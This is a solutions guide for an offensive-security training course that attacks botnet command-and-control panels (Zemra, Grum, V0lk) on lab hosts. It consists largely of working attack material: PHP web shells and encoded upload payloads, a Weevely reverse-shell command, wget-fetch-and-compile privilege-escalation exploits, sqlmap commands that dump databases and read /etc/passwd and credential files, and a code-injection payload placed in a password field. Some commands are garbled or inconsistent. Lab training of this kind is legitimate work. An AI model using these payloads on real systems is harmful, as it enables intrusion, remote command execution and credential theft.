Zombie Crush!
Training Course Solutions

By Bryce Kunz
AKA @TweekFawkes
Table of Contents

Table of Contents

Table of Contents .......................................................................................................................... 2

001 Zemra Lab .............................................................................................................................. 3
Solutions......................................................................................................................................... 3

002 Grum Lab ............................................................................................................................... 4
Solutions......................................................................................................................................... 4

003 V0lk Lab ................................................................................................................................. 7
Solutions......................................................................................................................................... 7
A #1. Interesting GrepBugs PHP Results:

PHP
+ Use of system command execution. Ensure no user controlled data is passed
to this function.

```php
/system\s?\(/root/Projects/Zemra_Panel/system/command.php 2:
if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre">; system($_GET['cmd']);exit;}
```

002 Grum Lab

Solutions

A #1. Solution to a web shell:

```php
<?php
$fp = fopen('webshell.php', 'r');
if (!$fp) {
    echo 'Could not open file webshell.php';
}
while (false !== ($char = fgetc($fp))) {
    //echo "$char\n";
    $encoded = dechex(ord($char));
    echo "$encoded";
}
?>
```

Very simple web shell:

```php
<?php system($_REQUEST['cmd']); ?>
```

Convert very simple web shell:

```
root@kali:/tmp# vi a.php
root@kali:/tmp# vi webshell.php
root@kali:/tmp# cat webshell.php
<?php system($_REQUEST['cmd']); ?>
root@kali:/tmp# php a.php
3c3f7068702073797374656628293b203f3e
```

A #2. Use burp to send payload with the null byte ( %00 ), for example...

```
POST /s_postlog.php HTTP/1.1
Host: 192.168.133.203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

log=3c3f20706870696628293b203f3e&cmd=9&ver=test.php%00
```

Then we use Ice Weasel to access this test page at the following url:

To send up the very simple web shell...

POST /s_postlog.php HTTP/1.1
Host: 192.168.133.203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

log=3c3f70687020737973746566d28245f524551554553545b27636d64275d293b203f3ea&id=96ver=verySimpleWebShell.php%00

Then we use Ice Weasel to access this very simple web shell at the following url:


We can then use this very simple web shell to upload a more full featured web shell like Weevely. Use a technique similar to the one we used on the previous Zemra C2 server to upload Weevely via this very simple web shell. For example...

GET
/userslogs/verySimpleWebShell.php?cmd=/bin/echo+aGkK|/usr/bin/openssl+base64+-d+>/var/www/html/userslogs/weevelyWebShell.php HTTP/1.1
Host: 192.168.133.203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

A #3. Privilege escalation exploit:

On the local Kali endpoint, open a new Terminator application and run the following commands...

mkdir -p /tmp/webserver
cd /tmp/webserver
cp /root/Tools/9542.c /tmp/webserver/
python -m SimpleHTTPServer 80

On the remote endpoint using Weevely...

:backdoor_reversetcp -shell /bin/sh -vector python_pty 192.168.133.198 443
cd /tmp
wget http://192.168.133.198/9542.c
gcc -o 9542.out 9542.c
./9542.out
#
003 V0lk Lab

Solutions

A #1. a. Analyzing this code we can see...

```php
$header = cleanstring($_SERVER['HTTP_USER_AGENT']);
if($header == "753cda8b05e32ef3b82e0ff947a4a936") {

We can see that the HTTP_USER_AGENT needs to be set to the value of "753cda8b05e32ef3b82e0ff947a4a936" before we can get to the vulnerable code...

```php
$Name = $_POST['name'];
$SO = $_POST['so'];
$zila = $_POST['file'];
$Pasw = $_POST['pasw'];
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($ip);
```

A #1. b. We can easily obtain a new HTTP_USER_AGENT value by inspecting a packet capture (e.g. MitM) of the malware communicating with the C2 server.

A #2. a. Start burp and ensure "intercept is off":

![Burp Interception](image)

A #2. b. Set Iceweasel to route all traffic through burp:
A #2. c. Make a sample request to the bots.php file:

```
GET /bots.php HTTP/1.1
Host: 192.168.133.201
User-Agent: Mozilla/5.0 (Wi
Accept: text/html,application
Accept-Language: en-US,en;
Accept-Encoding: gzip, defl
Connection: close

http://192.168.133.201/bots.php
```

A #2. d. Find the request in burp's "http history" and send it to the repeater:
A #2. e. Modify the request until you find a request that will successfully trigger the exploit by first replacing the User-Agent string with the one it expects...

User-Agent: 753cda8b05e32ef3b82e0ff947a4a936

Then changing the request to a POST request via right-clicking on the request and selecting "Change request method"...
Then appending and testing the exploitable parameter by first sending a normal request:

name=testName&so=testSo&file=testFile&pasw=testPasw

Which should result in a normal response:

Then sending a malicious request...
name=SLEEP(1) /* or SLEEP(1) or ' or SLEEP(1) or " or SLEEP(1) or */&so=testSo&file=testFile&pasw=testPasw

URL encoded...

POST /bots.php HTTP/1.1
Host: 192.168.133.201
User-Agent: 753cda8b05e32ef3b82e0ff947a4a936
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

name=%53%4c%45%45%50%28%31%29%28%27%20%6f%72%20%53%4c%45%45%50%28%31%29%20%6f%72%20%27%20%6f%72%20%53%4c%45%45%50%28%31%29%20%6f%72%20%22&so=testSo&file=testFile&pasw=testPasw

Which should result in an abnormally long response:

A #3. a. Use Burp's "copy as curl command" to provide a normal request to SQLmap...
Paste the curl command into a new Leadpad...

```
curl -i -s -k -X 'POST' \
  -H 'User-Agent: 753cda8b05e32ef3b82e0ff947a4a936' -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary $'name=testName&so=testSo&file=testFile&pasw=testPasw' \n  'http://192.168.133.201/bots.php'
```

A #3. b. Use these values as inputs into Sqlmap by changing the curl command into an SQLmap command that looks something like this...

```
sqlmap -u http://192.168.133.201/bots.php -- \
  data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql
```

Run this command using Terminator...

```
sqlmap -u http://192.168.133.201/bots.php --data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql
```

We should see something similar to the below output...
After responding with the default answer to several questions you should see something like this...

<table>
<thead>
<tr>
<th>POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/n]</th>
</tr>
</thead>
<tbody>
<tr>
<td>sqlmap identified the following injection point(s) with a total of 122 HTTP(s) requests:</td>
</tr>
<tr>
<td>Parameter: name (POST)</td>
</tr>
<tr>
<td>Title: AND boolean-based blind - WHERE OR HAVING clause</td>
</tr>
<tr>
<td>Type: error-based</td>
</tr>
<tr>
<td>Title: MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause - injectable</td>
</tr>
<tr>
<td>For the remaining rows, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [y/n]</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>[01:44:09] (INFO) the back-end DBMS is MySQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>web server operating system: Linux CentOS</td>
</tr>
<tr>
<td>back-end DBMS: MySQL 5.0.16</td>
</tr>
</tbody>
</table>

A #3. c. To just view the MySQL databases available on the remote server issue the following command...

```
sqlmap -u http://192.168.133.201/bots.php --data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql --dbs
```

Which should result in a response similar to...
To view the tables inside the “kotsifi_1” database, use the following command...

```
sqlmap -u http://192.168.133.201/bots.php --
data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user=
-agent=753cda8b05e32ef3b82e0ff94744a4936 --dbms=mysql -D kotsifi_1 --tables
```

Which should result in a response similar to...

```
[02:06:11] [INFO] fetched data logged to text files under '/root/sqlmap/output/192.168.133.201'
[*] shutting down at 02:06:11
```

To view the columns in the “zombies” table inside of the “kotsifi_1” database, use the following command:

```
sqlmap -u http://192.168.133.201/bots.php --
data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user=
-agent=753cda8b05e32ef3b82e0ff94744a4936 --dbms=mysql -D kotsifi_1 -T zombies --columns
```
Which should result in a response similar to...

```
Database: kotsifi_1
Table: zombis
[13 columns]

<table>
<thead>
<tr>
<th>Column</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>int(11)</td>
</tr>
<tr>
<td>ip</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>name</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>pais</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>pasw</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>pharming</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>so</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>fecha</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>flag</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>ftps</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>host</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>http</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>id</td>
<td>int(11)</td>
</tr>
</tbody>
</table>

[02:21:57] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.133.201'
[*] shutting down at 02:21:57
```

To view (dump) the contents of all of the columns within the “zombis” table, use the following syntax:

```
sqlmap -u http://192.168.133.201/bots.php --data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql -D kotsifi_1 -T zombis -C id,name,fecha,ip,host,pais,flag,pharming,http,so,ftps,pasw,a --dump
```

Which should result in a response similar to...

```
Database: kotsifi_1
Table: zombis
[11 entries]

<table>
<thead>
<tr>
<th>id</th>
<th>ip</th>
<th>fecha</th>
<th>host</th>
<th>pais</th>
<th>flag</th>
<th>pharming</th>
<th>http</th>
<th>so</th>
<th>ftps</th>
<th>pasw</th>
<th>a</th>
<th>testFile</th>
<th>testPasw</th>
</tr>
</thead>
<tbody>
<tr>
<td>NULL</td>
<td>O</td>
<td>NULL</td>
<td>192.168.133.198</td>
<td>192.168.133.198</td>
<td>Desconocido</td>
<td>Desconocido</td>
<td>0</td>
<td>1</td>
<td>testFile</td>
<td>testPasw</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

[05:34:39] [INFO] table kotsifi_1.zombis dumped to CSV file '/root/.sqlmap/output/192.168.133.201/dump/kotsifi_1/zombis.csv'
[05:34:39] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.133.201'
[*] shutting down at 05:34:39
```

... the contents of the database are also saved into a CSV file for easier analysis...
To view the current database user, if that user is a database administrator, the current database, and remote hostname hashes, privileges, and associated roles in the database...

sqlmap -u http://192.168.133.201/bots.php --
data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql --current-user --is-dba --current-db --hostname

Which should result in a response similar to...

To view all users, hashes, privileges, and associated roles in the database...

sqlmap -u http://192.168.133.201/bots.php --
data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql --users --passwords --privileges --roles

Which should result in a response similar to...
Press enter to accept the default settings whenever prompted by sqlmap...

eventually we should see a list of privileges associated with each user...
We can see the current user has the "FILE" privilege which will enable this user to read files as the user the database process is currently running as on the remote endpoint.

A #3. d. For example, to view the contents of the "/etc/passwd" file on the remote endpoint, we can use the following command...

```
sqlmap -u http://192.168.133.201/bots.php --
data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32ef3b82e0ff947a4a936 --dbms=mysql --file-read=/etc/passwd
```
When prompted press enter to accept the default settings and then you should see a response similar to...

You can cat the file collected from the remote system to more easily inspect the contents of the file...
To view the contents of the file (e.g. "/var/www/html/Configs/Pass.php") containing the username and password to the C2 server's web application, we can use the following command...

```
sqlmap -u http://192.168.133.201/bots.php --
data="name=testName&so=testSo&file=testFile&pasw=testPasw" --user-agent=753cda8b05e32e3b82e0ff9747a4a936 --dbms=mysql --file-read=/var/www/html/Configs/Pass.php
```

When prompted press enter to accept the default settings and then you should see a response similar to...

```
[19:10:30] [CRITICAL] Connection dropped or unknown HTTP status code received, sqlmap is going to retry the request!
```

You can cat the file collected from the remote system to more easily inspect the contents of the file...
A #4. a. Reading the code "EditUser.php" (e.g. /root/Projects/V0lk_Panel/Controladores/EditUser.php) we can see...

```php
<?php
define('ADMIN_USUARIO', 'keyser');
define('ADMIN_PASSWORD', '12345Grzlz');

$Pass = @file_get_contents("../Configs/Pass.php");
$Pass = str_replace(ADMIN_USUARIO, $_GET['User'] , $Pass);
$Pass = str_replace(ADMIN_PASSWORD, $_GET['Pasw'] , $Pass);
$O = @fopen("../Configs/Pass.php" , "w+");
fwrite($O, $Pass);
fclose($O);
$Result2 = "Data Updated Successfully!";
...
```

That the file is attempting to update the "Pass.php" file with a new username and/or password by writing the username and/or password into the "Pass.php" file.

A #4. b. We can the username and password inputs via passing in values through a HTTP GET request...

```bash
?User=newUserName&Pasw=newPassword
```

A #4. c. We want to insert a new password with some additional PHP code that will enable us to execute arbitrary commands on the remote endpoint, for example...

```php
newPassword'); system($_REQUEST['cmd']); #
```

A #5. a. Authenticate into the Web Application using the username and password obtained earlier.

A #5. b. Exploit web application to add additional PHP code...

```php
newPassword'); system($_REQUEST['cmd']); #
```
URL encode our malicious payload to ensure it makes it to the web application on the remote endpoint as expected...

%70%61%73%77%6f%72%64%27%29%3b%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%23

Use burp to send the exploit with the URL encoded payload...

GET
/Controladores/EditUser.php?User=kayser&Pasw=%70%61%73%77%6f%72%64%27%29%3b%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%23&rnd=0.5402895450480221 HTTP/1.1
Host: 192.168.133.201
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.133.201/
Cookie: PHPSESSID=c78u68h7ur9ctts6k4jmahfio3
Connection: close

A #6. b. Privilege escalation exploit:

cd /tmp
wget https://www.exploit-db.com/download/35370
mv 35370 35370.c
gcc -o 35370.out 35370.c
./35370.out